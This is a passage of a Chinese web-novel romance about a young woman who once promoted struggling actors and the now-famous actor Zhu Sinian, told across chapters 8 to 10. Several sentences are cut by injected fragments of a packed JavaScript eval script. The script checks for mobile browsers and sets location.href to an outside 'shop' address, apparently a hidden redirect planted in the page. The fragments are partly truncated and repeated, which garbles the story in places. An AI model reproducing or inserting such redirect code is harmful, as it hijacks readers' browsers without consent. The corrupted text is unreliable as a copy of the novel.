影视城拍摄周期不长,一般现场出妆,有的演员选择在片场房车,有的则直接借用休息室或会议室。 祝斯年休息室的位置并不好。 窗户正朝小道,每天无数粉丝来来往往,趴在附近的矮墙上往内偷看。 更不消说,窗外无遮挡物,在对面楼里端个长枪短炮就能将房间里的情况拍得一清二楚。 可这间房是他亲自挑的。 没说具体原因,不过剧组上上下下看祝斯年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977886|193534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都自带一层滤镜,暗中夸“祝老师人品好,想把更好的休息室让给其他艺人”。 房间逼仄,外面人多眼杂,工作人员会提前将休息室厚厚的帘幕拉上。 但只要祝斯年坐到窗边,帘幕总会被他撩开一道缝。 与爬墙的粉丝们四目相对,他也没有丝毫不耐烦,只是淡淡地露出一抹笑或微微颔首,并不会刻意地叫人重新关上。 诸如此类的事情不止一两件,“祝斯年宠粉”的名声因此破圈。 但这一天有所不同。 从进屋、换好衣服、坐到窗边的固定座位,直到化妆师开始工作,祝斯年都没有抬过手。 助理小川站在窗边,一时拿不准,“年哥,这帘子……” 开还是……不开……啊? 祝斯年没有回话。 似乎在闭目养神。 小川不敢自作主张。 帘幕紧闭,外面的光透不进来。 房间里的灯再亮,也终究觉得不真实。 没多久,工作人员也察觉到房间内凝重的低气压。 “祝老师,最近是不是太累了。” 化妆师笑着用遮瑕刷轻压祝斯年眼底,试图活跃下气氛,“黑眼圈都快出来了……劳模也要注意休息啊!” 过了几分钟,空气愈发沉闷。 看来不是错觉。 祝老师今天的心情很差,差到了极点。 祝斯年并非健谈风趣、爱开玩笑的性格,但绝对开得起玩笑,剧组工作人员有时拿他打趣,他也能包容大度地笑着应对。 像现在这样,让对方的话茬掉在地上、陷入被动难堪的境地,此前从未发生过。 以祝斯年的性子,也做不出这种事儿。 工作人员面面相觑,自觉噤声。 这时,一道特殊的消息提示传来。 搁置在桌面上的手机屏幕陡然亮起。 石像般静止许久的祝斯年终于有了一点反应。 他掀起眼帘,瞥了一眼。 【年年宝宝,我觉得你说得对,那人应该就是祝斯年】 【我决定今天去影视城探探他,而且还特地买了一束手捧花,又重新给他画了一幅画!】 【好倒霉,出门忘了看天气预报,没带伞就算了,下车还被溅了一身水,还好画没湿】 【今天不是要下大暴雨吗,怎么还这么多粉丝来探班!!!压根挤不进去啊!!!】 …… 数十秒的内心挣扎。 祝斯年捻了捻指腹,终究没忍住撩开帘幕一角。 从这个视角望去,来往人群一览无余。 这是许岁澄最常走的一条小道,只要她来影视城探班,必定会经过这扇窗前。 然而,自从他进了组,就再也没见过她的身影。 一如现在。 果然,又在骗他吧。 祝斯年微抿唇线,眸中闪过一丝愠恼。 他没有资格气她。 他是在气自己。 一而再再而三地上当。 “年哥!” 一阵惊呼过后,小川瞪大眼睛,指着他手腕内侧的烫伤,“你这怎么弄的?” “没事。” 没有过多解释,祝斯年微侧手臂,挡住小川的视线,随后看向化妆师,“辛苦帮忙盖一下。” “祝老师这、这不行吧,伤口还没好,化妆品里面含有化学成分,万一发炎了……” 似乎是担心影响拍摄,见祝斯年执意要这么做,化妆师没辙儿,只能取来遮瑕膏。 正要上手。 他倏地起身,靠站在窗边,透过那条探进光的帘缝往外望。 “不用了。” 祝斯年径直朝门外走去,步履轻快。 8. 纸月亮 昨天经过岁岁年年一顿分析,即便许岁澄再不愿承认,事实也已逐渐明朗。 第一位男嘉宾就是祝斯年。 否则哪位男明星会用他的Q版人物画,当做朋友圈背景图? 难不成是祝斯年的梦男? 嘶……好像也不是没这个可能。 好吧,许岁澄其实很想朝这个方向大胆假设。 但此举明显有装疯卖傻的嫌疑。 再回避下去,她都该骂自己一句装货了。 发完那句冲动言论后,许岁澄又细细想了想。 与其说是“讨厌”祝斯年,倒不如用一个更确切的词—— 愧疚。 养成那么多糊咖,就跟玩乙女游戏似的。 说假意吧,也的确付出过真情实感,说真心吧,退游换坑的事儿也没少干。 爱是流动的。 一回生两回熟,流顺了也就没有最初的生涩了。 毕竟,被她养成的糊咖们也只是一时感动,升咖后众星捧月、花团锦簇,谁又会为她的去留而斤斤计较。 彼此曾经提供过所需的情绪价值就够了。 祝斯年是第一个让她有负罪感的人。 无论是曾经的以命相护,这次的大额汇款,还是那句「你是我最重要的粉丝」 都让她无所适从。 他们明明已经很久没见过面。 久到她快忘了这号人,便理所当然地以为对方也适应了她的不告而别。 许岁澄一向对“烂人真心”这个词嗤之以鼻,就像“浪子回头”一样,这种爱来自想象,终究无法改变对方“真心是烂人”的本质。 可好与坏是相对的。 在祝斯年的真心面前,她似乎就变成了那个“烂人”。 有补救的法子吗? 许岁澄想,或许以后应该对祝斯年更上心一些,陪他走到更高的位子,直到他彻底不再需要自己。 然而,出师未捷身先死。 还没见到祝斯年的影子,她就被乌压压的粉丝群体挤到人后。 要是以前,战斗力爆表的许岁澄决不会允许自己掉出前排。 但现在,她已经气血不足了。 蹲在后面三分钟不到,她开始不耐烦。 等到第五分钟时,她离开祝斯年所在的剧组,四处溜达。 根据手上拿到的通告单,今天在影视城拍戏的剧组还不少,许岁澄打算随便逛逛,待这边人少一些后再折返。 不过,没走出多远。 她碰到了老熟人,魏霁。 他坐在对面的保姆车内,车门大敞,应该刚到不久,但他也不下车,就这么笑着默默看向她。 见她的视线终于游移到自己身上,魏霁笑意更盛,隔着闻风赶来的庞大粉丝群,他招了招手,用唇语无声说—— “岁岁,过来。” - 魏霁远不能称为糊咖。 因为从理论上来说,他就没有糊过。 传闻中“不好好演戏,就要回家继承家业”的娱乐圈霸总,形容的便是此男。 年轻时闲得无聊又叛逆,不顾家族反对进演艺圈“闯荡”。 也不知道该算许岁澄看走眼,还是太有眼光。 在魏霁带资进组第一天,人人都忌惮他太子爷的身份,再加上他本人高不可攀的气场,整个剧组基本没人敢和他过多交流。 就在这时,热心小猫登场了。 见魏霁总是独来独往、不苟言笑,连工作人员见到他都会刻意回避,许岁澄误以为魏霁像自己认识的许多糊咖一样,正在经历剧组霸凌。 救赎欲蹭蹭直冒,许岁澄就这样没轻没重、横冲直撞地闯进了……霸总压根不凄凉也不需要拯救的生活。 - “应该收到钱了吧?”魏霁问。 果然。 另一笔六位数汇款是他转的。 但许岁澄还装作毫不知情的模样,夸张地抽吸一口气,“原来那笔巨款是魏老师转的啊!” “我就知道!除了你,没人出手会这么大方……” 这边叭叭小嘴还在叽哩咕噜拍马屁。 那边,魏霁沉默两秒:“有没有人说过你演技很烂?” “给你转账的又不止我一个人。” 许岁澄:…… “你不会也看到了那条论坛贴吧?” “什么论坛?”魏霁侧目,来了兴致,“展开说说。” 展开说说才有鬼! 许岁澄不会做自投罗网的蠢事。 她忽闪着大眼睛,企图通过卖萌的手段转回话题:“魏老师怎么知道还有其他人给我转账了?难道这就是传说中的手眼通天的大财阀吗。” “银行……” “哦哦银行是您家开的?” 魏霁好笑地睨了一眼,“我发现你这嘴,真是一点不让话落地上。” 他抬手,轻轻点了点许岁澄的额头,“银行发提示了。对方账户异常,存在交易风险……” “谨、防、诈、骗。” 他直直盯着她,一字一顿地说。 话音落下的瞬间,许岁澄睫毛都没眨,笑嘻嘻地反道:“您都成精了,谁骗得了您呀。” 老狐狸。 当初明明知道她误会了他的身份,不仅不主动纠正,甚至还让其他工作人员也都紧闭口风。 顶着这副衣冠禽兽的模样,欣然享受她的小恩小惠,不动声色地笑看她拙劣的表演。 “看来,某个小姑娘还在生气呢?” 垂眸看着那张生动鲜活的侧脸,魏霁薄唇挑起浅浅的弧度,“那怎么办,要不……换我养成你?” 许岁澄不可能听不懂这句玩笑话背后的潜在含义。 这恐怕是她离暴富最近的一次,但她却丝毫不为所动,“还是你们有钱人有意思嗷,把包养说的那么好听。” 不过很快,她意识到这句话的逻辑漏洞,紧急撤回一个白眼,“不过你转给我的那笔不算包养啊,那是老奴我当仆人那几年应得的,昂!” 最后一个气声可谓是理直气壮、不卑不亢。 像毛刷一样,听得人心痒痒。 “是,您辛苦。” 魏霁低低笑了声,按住蠢蠢欲动的指尖。 “不过,到底怎么回事?最近家里遇到什么困难了吗?”他面上有些疑惑,但更多的是新奇,“往信里放收款码,我还是头一次见。” 恐怕也只有她能做得出来了。 魏霁成天日理万机,粉丝送的东西一般不会传到他手中。 况且许岁澄送信时赶时间,直接塞给了他的新助理。 若不是经纪人眼尖,从上百封手写信里发现了她的,恐怕那封信也会同其他粉丝礼物的命运一样,进行“无害化处理”了。 “没困难啊,就是单纯考验一下你们的忠诚度。” 拍拍他的肩头,许岁澄语重心长道,“恭喜你,通过了考验,不枉老奴曾经的用心栽培。” 满嘴跑火车。 魏霁已经习惯了。 刚认识时,问她成年没。 她说英年早婚,老公阳.痿。 问她做什么工作。 她说家境不好父母家暴从小辍学,现在在影视城附近卖烤肠,靠自己的双手攒钱读大专。 许岁澄那张脸实在具有欺骗性。 说到痛处时,她还会泪眼汪汪,眨着那双要哭不哭的圆圆杏眼直勾勾地盯着你。 老实说,虽有迟疑,但魏霁起初还是信了。 如果不是最后在自家集团撞见她来接CTO老爸下班的话。 “老许,想不到你表面温文儒雅,背地里还会家暴啊。” 无视某个小女孩疯狂眨眼对自己求饶示好的举动,魏霁明知故问:“另外,是我父亲给您开得工资太低了吗?公司员工关怀还不错,钱不够的话可以众筹。” “自己文化水平这么高,孩子的教育也得重视起来,总让人在影视城卖烤肠是怎么回事儿?” 在许父恍然大悟、川剧变脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到许岁澄被盯得发毛,像被踩了尾巴的猫一样,虚张声势地甩锅:“不会吧不会吧?你没拿下影帝?!难道现在这个世道变了,实力终于也能战胜资本了?” 小嘴跟淬了毒似的。 魏霁没忍住,拍了拍她的头顶,“哥也是凭实力获的奖,好不好?” “好的老叔。” 这个称呼一出来,直接杀死比赛。 在外都被人叫“爹系男友”“daddy”,再不济也是“叔圈天菜”,在她这里就自动降格成“老叔”。 比许岁澄大了八岁的魏老叔心梗。 他只能无奈颔首,示意她放在小桌板上的捧花,“知道我获奖了,特意来送给我的吗?” 毫不客气地,魏霁伸手去取。 夹在花中的手绘卡掉落腿间。 Q版漫画分不清是谁,但他认识右下角的落款。 “祝、斯、年。” 魏霁挑眉,故意问:“怎么?你给自己取的新名字?” 装什么。 祝斯年现在这么火,同在娱乐圈谁能不认识他。 况且,许岁澄不信魏霁不知道自己养成过糊咖祝。 她翻了个白眼,一把夺过小卡,“这个不是给你的。” 至于手捧花…… “花就送你吧,祝魏影帝的事业更上层楼!” 从她嘴里听到一句好话不容易。 但魏霁却倏地升起一股无名火,他拾起捧花,按下车窗,径直抛了出去。 “既然是给别人的东西,就不要转送给我。改明儿重新送一束。” 许岁澄瞪圆眼睛,粗鄙之言呼之欲出,又陡然哽住。 顺着那条花束坠落的抛物线挑眼望去,对面一道原本有些模糊的身影越发清晰。 祝斯年站在黑漆漆的楼道里。 一瞬不瞬地盯着她。 9. 珊瑚雨 快得仿佛只是错觉。 许岁澄再一眨眼,萦绕在祝斯年身周的那股阴郁骤然消散,取而代之的是一如记忆中的沉稳和煦。 天空又飘起小雨。 他撑着一把长柄黑伞,稳步走来。 雨越积越多,很快将那束被扔在地上的花束浸得浑浊。 他弯腰拾起,轻轻抖落包装纸上的泥水。 “花很漂亮,不要了吗?” 许岁澄讶异。 没想到他目睹了魏霁扔花的全过程,更没想到他会直接走过来。 想说点什么,但还没来得及开口。 只见伞下的祝斯年薄唇翕动,嘴角牵起一个温和的笑,“岁岁,好久不见。” 这道低沉清润的声音,仿佛被揉碎在淅淅沥沥的雨中,砸落到尼龙伞面。 滴答、滴答。 - 祝斯年不一样了。 说不清具体哪里不同,总之给人感觉变化很大。 气质同样沉静。 但如果说以前他的这种沉静中带着疏离和阴郁,那么现在,更像是千帆过尽后的从容与温润。 整个人身上都散发着圣父光环。 仿佛看一眼就要当场净化。 被他带到片场时,许岁澄莫名有些局促。 她这人吧,越尴尬话越多。 从随口关心他的近况,到夸赞他这一年突飞猛进的成就,再到接下来对接的影视项目。 不像来探班的粉丝,倒像领导视察。 果然,话越多越尴尬。 但祝斯年丝毫未觉不妥,她问什么,他就答什么,不仅驯顺地接过话茬,还会主动开启新话题来缓解她的窘迫,事无巨细地。 这种相处模式令人十分舒适。 “果然是士别三日,当刮目相看啊。你现在变化好大。” “士别二百一十七日。” 冷不丁的一句话让许岁澄一时愣怔,“啊?” 祝斯年轻笑一声,没有解释,而是问:“是好的变化,还是差的变化?” “大概……更好了吧。” 望着他那双沉静的眸子,许岁澄下意识吞咽,慌忙撇开视线,“当、当然啦,以前也很好啊,只是稍微内敛冷漠了些,现在明显更加成熟了。还得是红气养人啊!” 小骗子。 以前的他,一点也不好,否则她怎么会如此讨厌自己。 在清晰意识到许岁澄刻意疏远自己后,祝斯年并未大张旗鼓地祈求她的回头。 他开始默默从自己身上找原因。 一定是他做得还不够好,进步得太慢,没有达到岁岁期望的标准,她才会“弃暗投明”,将目光转移到别人身上。 他还对比研究过自己与她养成过的其他糊咖之间的不同。 性格好,成长空间大,是与岁岁交好的糊咖们的共性。 比如时泽,性格外向活泼、嘴巴甜、极具亲和力。 再比如……魏霁,短短半年内就从出道新人蜕变成影坛新星,数年斩获大小奖项,前几天甚至拿下史上最年轻影帝的荣誉。 祝斯年心想,只要他更加努力,努力站到更高的位置,或许岁岁就会重新发现他的闪光点。 再次回到他身边。 渐渐地,他忘了自己曾经立下的“解约后就退圈”的目标,反而成为业界有目共睹的“敬业又拼命”的“黑马”。 然而等来的却不是她的目光,而是一句“我讨厌祝斯年”。 或许,讨厌一个人是不需要理由的。 但被讨厌的人需要找到无数个理由,来缓解内心的煎熬。 “我还以为,岁岁这么久不来看我,是因为……” 微不可察的叹息后,祝斯年抬眸,沉沉地看向对面的女孩,“是因为讨厌我呢。” 他的笑容有些苍白,连带着说出的话都染上一丝脆弱。 许岁澄该死地心颤了一下。 好的,这么多年xp依旧没变,她还是喜欢温柔美强惨那一套。 “怎么会呢!” 许岁澄完全忘了昨天的言论,漂亮话不要钱似的连番轰炸,“我们祝老师长得又帅,人品又好,演技更是没得挑,谁会讨厌你呢!” “非说讨厌你的话,肯定只有三种情况,第一种是不了解你,第二种嫉妒你,最后一种就是……” 她兀地凑近,眨了眨眼,“太爱你了。” 那双圆圆的杏眼清澈见底,看不出一丝虚情假意,就好像从她嘴里吐出来的每个字都是出自真心。 祝斯年呼吸一滞,倏地偏过头去。 明知这四字并非那个意思,耳根却仍不可避免地升起一抹红,迅速蔓延至后脖颈。 许岁澄对此浑然不觉,还弯着笑眼,神秘兮兮地说:“就像深柜一样,表面越是抗拒,实际内心越是沉沦。” “恨来恨去,说到底就是恨你不爱她,那句话怎么说来着……” 她顿了顿,“恨明月高悬独不照我。” 祝斯年回望,说不出一句话。 一瞬间,他竟觉得自己藏着掖着的小心思被看透了,整颗心都被剖出来,扔在泠泠的月光下展示、评判。 是暗示吗?还是警告。 或许二者皆无。 明月不懂世间人的难堪与挣扎,只是高悬。 “祝老师?祝斯年!” 祝斯年回过神,他的明月正笑眯眯地望着他,“话说,如果是你的话,你觉得哪种情况让你最难忍受?” 恨明月高悬独不照我。 恨明月高悬不独照我。 恨明月高悬曾独照我。 …… 原来“恨明月高悬”也能有这么多变体版本。 切齿拊心,句句泣血。 祝斯年静默许久,摇了摇头,说—— “我不恨明月。” “我会祝她永远高悬。” 他只会恨自己,对日月流转无能为力。 恨自己,为什么没法留住明月的照拂。 第一次听到这种回答,许岁澄怔忡数秒,慨叹道:“还得是祝老师啊,才高行厚。要是我,我就把明月炸了,大不了同归于尽!” “不然的话就直接锁起来,还敢照别人?只能照我照我照我,照不死我……” 她絮絮叨叨的、义愤填膺的神情实在可爱。 祝斯年没忍住笑出了声。 在对方疑惑的视线射过来之前,他紧急附和,“锁起来吗?听起来是个不错的主意。” 仔细再想想,何止不错,简直完美。 能被岁岁锁起来,会是多么幸福。 若实在走投无路,将岁岁锁起来…… 像被这一念头烫到似的,祝斯年眼睫轻颤,闭了闭眼。 “岁岁今天怎么会来这里?” 说来见他,说特地准备了花和画。 转眼却出现在魏霁车里,连可能送给他的那束花也被无情抛下。 自己不是她的唯一选项,更不是第一选项。 翻涌的热浪逐渐冷却,他垂在腿侧的手不自觉收紧,“是专门来……祝贺魏霁的吗?” 祝斯年想,无论得到怎样的答复,他都能坦然接受。 然而,女孩的话却依旧打得他措手不及。 “的确是专门来的。” “但不是为了他,而是为了你。” 许岁澄皱了皱鼻子,语气里满是对魏霁的嫌弃,“自大狂!还敢扔我的花,你都不知道,那可是我特地给你准备的!” “啊对了!差点忘了,还有画……” 她在包里一顿翻找,下一秒,双手捏着手绘小卡两角,献宝似的举过头顶,“看!我新画的手绘图!” 是他正在拍的悬疑剧的路透照。 神态、妆造、动作、背景,1:1全复刻。 和几年前那张Q版人物图相比,用心程度一目了然。 一寸一寸,祝斯年用目光细细描摹着,藏在身后的指腹却无意识轻捻。 不敢去碰,只怕又是自己会错意。 “送给你的!喜欢吗!” 许岁澄笑眼婆娑,见他许久未动,眯起的月牙眸隐隐透出警告。 敢说画的不好,敢不喜欢,你就死定了。 如获赦免般,祝斯年探出手。 “很喜欢,岁岁。”他低声说,声音擦过耳际。 许岁澄还没来得及反应,那只手掌已经迎了上来。 她的手指纤细,托着小卡时刚刚一手,并未觉得不妥。 直到祝斯年覆过来。 空气忽然凝滞了。 那实在是一双太大的手,掌心宽阔,指节分明,淡青色的血管在皮肤下隐约起伏。 他并没有立刻接过小卡,而是用指尖先触到卡面,然后无意间覆上女孩的手背。 指节微屈,但也只是虚虚拢着。 掌心的温度透过空气渗进来,甚至能感觉到男人指腹的薄茧。 尔后是细微的战栗。 “喜、喜欢就好!” 做贼心虚似的,许岁澄猛地将手绘卡塞过去,随后迅速脱手。 “还有啊,把朋友圈那张背景图换了呗,都用包浆了。”她装作不经意地转移话题。 祝斯年蜷起指节,垂首看向手心的画,话头在喉间转了好几个弯,才堪堪过滤掉那些冗杂的情绪。 “看来岁岁已经知道了。” 他抬眼,笑容温和,“我早说过,你很聪明,肯定很快就能猜到的。” “哼哼!那当然!” 许小猫倏地翘起尾巴,耀武扬威地抖来抖去,“也就是我刚开始没有注意到那副Q版画,否则简直易如反掌啊。” “现在回头看看,那图实在画的太烂了,我都认不出了!” “而且还画的是你的黑历史,你都不介意吗……不管了赶紧给我换掉!” 太可爱了。 祝斯年低头浅笑,煞有其事地点头应是。 内心却不以为然。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可此时此刻,他无比清楚,女孩的着急与愤怒,是真的。 …… 低头喝水时,看到她睫毛上结了一层细小的霜花,鼻子也冻得通红。 祝斯年兀地笑出声来,畅快的,少年气的,毫无保留的。 眼尾都泛起潮气。 以为他在嘲笑自己冻得“丑态百出”,许岁澄气鼓鼓地瞪圆眼睛,一边擤鼻涕一边威胁道:“你等着嗷,等我把你现在的狼狈形象画出来,立马成就一篇屎~诗级巨作,让你也遗臭万年!” 身体急遽回暖,胸腔也涨得满溢。 祝斯年忙脱下厚厚的外套,将她裹得严丝合缝,拉链也拉到最上。 “好,期待岁岁的大作。” 把刚充好的热水袋塞进她手中,他温声说:“我会永远珍藏。” 明知道她或许并非真心,明知道她可能对很多人都这样。 可他没有办法。 没有办法再克制自己跳动的、滚烫的心脏。 * 意识骤然回笼。 祝斯年攥紧手绘小卡,抬手微微晃了晃,再次说:“我很喜欢。” “谢谢岁岁。” 仿佛经过精准计算,他拢起的袖口被扯下几寸,正巧露出腕骨。 而尚未痊愈的伤疤,又正巧落在许岁澄眼底。 “你受伤了?!” 女孩惊呼一声,径直抓起他的手腕,翻了个面,“烫伤?怎么回事?又有人欺负你了?” 为什么要说“又”。 或许在许岁澄心里,祝斯年一直是个容易受人排挤的小可怜。 只是因为他骨头太硬、情绪稳定、嘴也笨拙,从而容易让人忽视这些暗处的伤痕。 “不会又是那个陈时吧?我听说后来他怕你火起来了,还一直暗中买你黑稿使绊子,结果大翻车把自己名声搞臭了?” “哎,要我说啊,你就是太善良太大度了,既然已经功成名就,那就拿出你的气势压压那些贱人的气焰啊……” 她边说,边从小川那儿取来医疗箱,替他细细涂抹伤口。 看着女孩像从前一样,为他的伤口而心焦,为他的“无能”而絮叨,祝斯年竟可耻地感到无比满足。 良久。 他喉结滚动,“……欺负吗?” 祝斯年望着那束被污水践踏得不成样子的捧花,沉默。 在许岁澄的目光看过来之际,他兀地垂下眼睑,包容的话语里泄出一丝隐忍和委屈,“只是可惜了岁岁特地选的花。” “草!差点忘了魏霁这狗东西,啊啊啊你别难过,回头我再亲自重新给你包一束啊更精致更奢华的那种……” 近一年里,祝斯年努力让自己爬得更高,不舍昼夜。 时至今日,他才醒悟。 努力远没有选择重要。 他太愚钝了,明明有更好的法子留住她。 尽管这样的手段……并不光彩。 岁岁,继续讨厌我吧。 这比全然忘记他这号人,要幸运得多。 10. 方寸地 本以为天降横财后能够就此躺平,稳稳滑进幸福的中登生活。 可现在,就因为一时冲动,许岁澄又重回“老妈子”日常。 只是这一次,“奶”的对象不再是糊咖,而是超一线男星。 很显然,这位似乎仍处在断奶焦虑期。 但和其他“宝宝”明显不同的是,他不哭也不闹,就安静地坐在角落,用那双满是期待的漂亮眼睛望着门外,等待奶妈的到来。 有时,许岁澄恍惚觉得自己是被祝斯年变相高薪聘请的艺人助理。 自从她夸下海口,要一直陪他跻身顶流行列后,小川跟组的频率与她探班的次数成了反比。 好几次她坐着“小川安排的保姆车”,拎着大包小包进剧组时,看到的只有祝斯年孤零零窝在休息室看剧本的场景。 更不消说特餐、开工箱、补妆等,都需要他自己一个人来。 许岁澄一下火气上来了:“小川旷班几天了?还能不能好好干活了?” “每天准点给我叫专车,敢情是方便自己逃班摸鱼是吧?” 祝斯年浅笑着接过她的手提包,柔声解释:“他最近家里有些事,晚上会来。” “那剧组呢,没有配临时助理吗?” “大家都很忙,我一个人可以的。” 说到这里,祝斯年语气愧疚,“岁岁其实也不用每天都来看我,天热,我不想让你这么辛苦。” 辛苦倒谈不上,接送她的专车恨不得开进家门口,司机服务也是细致入微,这豪华排场整得她才是女明星似的。 许岁澄不满的是那群人仗着祝斯年好脾气,看人下菜碟。 “说了要陪你走上人生巅峰,这才几天,我能是那种言而无信的人吗?” 她一边表忠心,一边鸣不平,手上还顺便拆开一杯冷萃,示意他喝。 “你现在好歹也是大明星了,像这种身价咖位的,哪个不是一呼百应,怎么就你还这么可怜?” 祝斯年乖顺地喝着咖啡。 他没说话,但许岁澄无端从他温和的笑眸中读出了潜台词—— 我不可怜。 因为我还有岁岁。 许岁澄的心吧唧一下软了下来。 以前怎么就没发现,他这么好欺负呢。 复联的这几天,似乎比养成他的那一年多要更加深刻。 她对祝斯年的认知和了解也刷新一次又一次。 原来,在外人面前那样冷冰冰的、永远保持着安全社交距离的他,内里其实极没有安全感,偶尔脆弱又粘人。 他白天会义正言辞地表示“你可以不用经常来看我”,晚上却只会用那双湿漉漉的眼睛望着她,说“祝你今天开心,明天的开心,我会留着明天再祝你”。 像一只被主人遗弃过的小狗。 还会在她提到自己曾养过的糊咖们时,不动声色地说谁谁谁经常谈剧组恋爱脚踏n条船、谁谁谁人品堪忧耍大牌刁难工作人员、谁谁谁早已隐婚生子还立单身人设…… “你怎么对他们的私事这么了解啊!”许岁澄震惊。 她一直以为祝斯年是那种两耳不闻窗外事、只专注于自身的“水仙花”。 直到看到他耳根泛红,眼神闪躲,还佯装镇静地表示“圈内消息灵通,经常听人提起。” 许岁澄莫名品出一丝绿茶清香。 不过没关系,有点心机又何妨,肯为朕花心思就好。 总之,这种感觉很奇妙。 仿佛是从麻木的刷分任务,到真正与角色人物产生情感链接。 她享受这种“被需要”的状态。 当然,这波卡颜,被丑男需要是一种不幸。 - 棚子里闷且挤,电动补光灯嗡嗡作响,烤得空气中的浮尘都带了温度。 热归热,但许岁澄罕见的没有一丝不耐。 毕竟看美男工作是件赏心悦目的差事。 经过这些年的磨炼,祝斯年的演技已是浑然天成,穿着刑警服的他褪去日常生活中的少年气,多了份坚毅和成熟。 更别提宽肩窄腰大长腿,看得人芳心荡漾。 他刚下一场情绪激烈的戏,领口微敞,额角沁出细密的汗。 接过场务递来的湿巾,祝斯年胡乱擦拭着,视线却不自觉地搜索那道明黄色的身影。 岁岁又不见了。 像只三心二意的小猫,有时突然跳出来在你裤腿上磨一下爪子、发出咕噜咕噜响,有时又一冒烟不知跑哪个窗台去看麻雀筑巢。 他靠在椅背,闭上眼,仍带着戏里未散尽的沉郁。 不过顷刻,片场内喧杂的声音骤然模糊,只有一道由远及近的轻快的脚步逐渐清晰。 “靠!今天怎么回事啊?剧组这么忙吗,连补妆都摇不到人……” 祝斯年嘴角扬起微不可查的弧度,没有立即睁眼。 直到凉风袭来,意识到岁岁将手持风扇举到了面前,他才笑着推回去,说不热。 “奇了怪了,这里有比你咖位还大的演员吗?带资进组的资源咖?怎么给我们小名鼎鼎的祝老师补妆都叫不动。” 许岁澄啪叽一下将风扇扔到旁边的开工凳。 “哎呀,等她们回来黄花菜都凉了,你要是不嫌弃,我帮你补?” “当然不”三个字还未说出口。 女孩已经捏着一块吸油纸和粉扑凑近,眼睛亮晶晶的。 像是发现了什么好玩的新游戏。 她站到他两腿之间,为了看清额角的妆,不得不微微俯身。 那股清甜的香气,瞬间取代棚内腻人的粉底和发胶味,蛮横地侵占他的呼吸。 随着她手部动作,明黄色的裙摆蹭到刑警制服裤腿,布料摩挲,发出令人无限遐想的窸窣声。 祝斯年身体陡然绷直,指节条件反射般蜷缩。 “别动!” 许岁澄小声命令,动作仍未停。 指尖捏着吸油纸,轻轻按上额头、眼尾、鼻翼…… 她的动作算不上专业,甚至有些毛手毛脚,指腹偶尔擦过皮肤,带来痒痒的、难以抑制的战栗。 祝斯年被迫仰起头,视线所及是她低垂的纤长睫毛,挺翘的鼻尖,还有因为专注而微微张开的唇瓣。 灯光在她身后勾勒出一圈光晕。 离得太近了,近得都能看清脸颊上的绒毛。 “嘶……你这脸咋长的,五官精致就算了,怎么连一点毛孔都看不到,难怪化妆师都不管……” 许岁澄咋舌,话未说完,倏地噤声。 低她半身的祝斯年正微眯着眼,直勾勾凝视着她,一副予取予求的驯顺模样。 随着她抽身离去的动作,他浓密的睫毛重重一颤,喉结滚动,胸腔也急促地起伏喘息。 太诱人了。 当许岁澄察觉自己心猿意马后,空气突然变得粘稠起来。 灯光的嗡鸣远去,只剩下两人之间有些失控的心跳和呼吸声。 棚外的嘈杂也被隔绝,方寸间似乎结成一个独立的、氤氲着暧昧的茧。 许岁澄终于意识到他俩此时的距离过近,姿势也过于亲昵。 她眨了眨眼,对上祝斯年的视线。 一种摸不透的情愫几欲破土而出。 似被灼伤,她兀地撇开脸,脸颊浮起一层薄红。 “呃……感觉、感觉你可能不太需要这玩意儿……” 捏着粉扑的手指微微蜷缩,许岁澄从没有哪一刻像现在这样无措。 她眼神飘忽了一下,试图开口打破这份沉默,声音却显然没什么底气。 “好,那就不用。” 祝斯年思绪重回清明,“都听岁岁的。” 他太了解面前的女孩了。 很快便从她异样的举动中悟出某种隐喻。 试探性地,他的拇指极其缓慢地、若有似无地,在许岁澄手背皮肤上蹭了一下,随后接过她手里的小物件。 时间在这一刻被拉长、凝滞。 就在祝斯年以为自己快要“得逞”了,心底那股汹涌的情感交织着翻腾而上。 下一秒,却被女孩没心没肺的慷慨发言打回原形。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人冷静了再想想,平时都是多体面一美女,如今妆容精致穿着时髦地为了一个不缺钱更不缺爱的208恨不得大打出手,至于吗? 就这样,三言两语、化敌为友。 一顿下午茶的时间,两人异常投缘相见恨晚。 许岁澄只知道陈时因睡粉、脚踏n条船被“嫂子联盟”锤烂塌房后,小渔达成“九追九塌”的内娱灭霸成就,彻底封心锁爱,含泪宣布不再追星。 但没想到…… “竟然背着我偷偷来横店?这是又看上了哪个见不得人的塌房预备军?” 面对许岁澄的“质问”,小渔不正面回答,只投去一个做贼心虚的眼神。 意思:谨言慎行! “……啥意思?” 许岁澄绕过弯后,倒吸一口凉气,“你不会开始追祝斯年了吧!” “真就这么恨呐!不惜以身入局,用追星来换他塌房?” 小渔嘴角抽搐两下,恨不得上手捂住她的嘴,“别骂了别骂了!我有预感,这次肯定不会塌的!” “你哪一次不是这么说的?” “那不一样,祝斯年是好人……” “嗯,他不塌的时候还是挺好的。” ??? 小渔震惊:“他不是你一路看着长大的糊咖吗?要不要这么清醒?!” 什么叫看着长大…… 许岁澄无语凝噎,心道:好一个超级加辈。 